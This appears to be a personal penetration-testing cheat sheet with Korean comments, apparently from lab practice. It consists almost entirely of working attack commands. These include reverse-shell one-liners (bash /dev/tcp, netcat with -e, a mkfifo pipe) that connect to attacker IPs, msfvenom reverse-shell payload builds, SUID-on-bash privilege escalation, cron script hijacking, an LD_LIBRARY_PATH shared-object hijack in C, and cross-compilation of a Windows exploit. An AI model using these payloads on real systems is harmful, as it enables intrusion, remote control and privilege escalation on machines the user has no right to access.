bash -i >& /dev/tcp/192.168.119.3/4444 0>&1
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
echo -e '#!/bin/bash\\n\\ncp /bin/bash /tmp/wook\\nchown root:root /tmp/wook\\nchmod 6777 /tmp/wook' > /dev/shm/wook.sh
# 단순하게 /bin/bash에 SUID를 걸어버리는 코드 예시
echo -e '#!/bin/bash\\nchmod u+s /bin/bash' > /usr/local/bin/run-parts
# 실행 권한 부여
chmod +x /usr/local/bin/run-parts
www-data@walla:/home/walter$ cat << wook > wificontroller.py
> import os;
> os.system("/bin/bash -p");
> wook
<aside>
‣ - Crontab + LD_LIBRARY_PATH
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setgid(0);
setuid(0);
system("chmod +s /bin/bash");
}
-----------------------------------------------------------------------------------
# compile
gcc -shared -fPIC utils.c -o utils.so
gcc hello.c -o hello
Kali linux에서 윈도우용 프로그램을 만들고 싶으면 gcc 대신 Cross-Compiler인 mingw-w64 를 사용한다.
64비트 컴파일 도구 설치
sudo apt update
sudo apt install mingw-w64
64비트 컴파일
# -lws2_32는 winsock 라이브러리를 링크하라는 옵션
x86_64-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
32비트 컴파일 도구 설치
sudo apt update
sudo apt install binutils-mingw-w64-i686 gcc-mingw-w64-i686
32비트 컴파일
i686-w64-mingw32-gcc 40564.c -o 40564_x32.exe -lws2_32
</aside>
busybox nc $IP [port] -e /bin/bash
#1)
cp /bin/bash /tmp/bash & chmod +s /tmp/bash
#2)
chmod u+s /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 > /tmp/f
https://ruuand.github.io/Reverse_Shells/
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.49.196 LPORT=2222 -f raw > shell.sh
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f elf -o shell.elf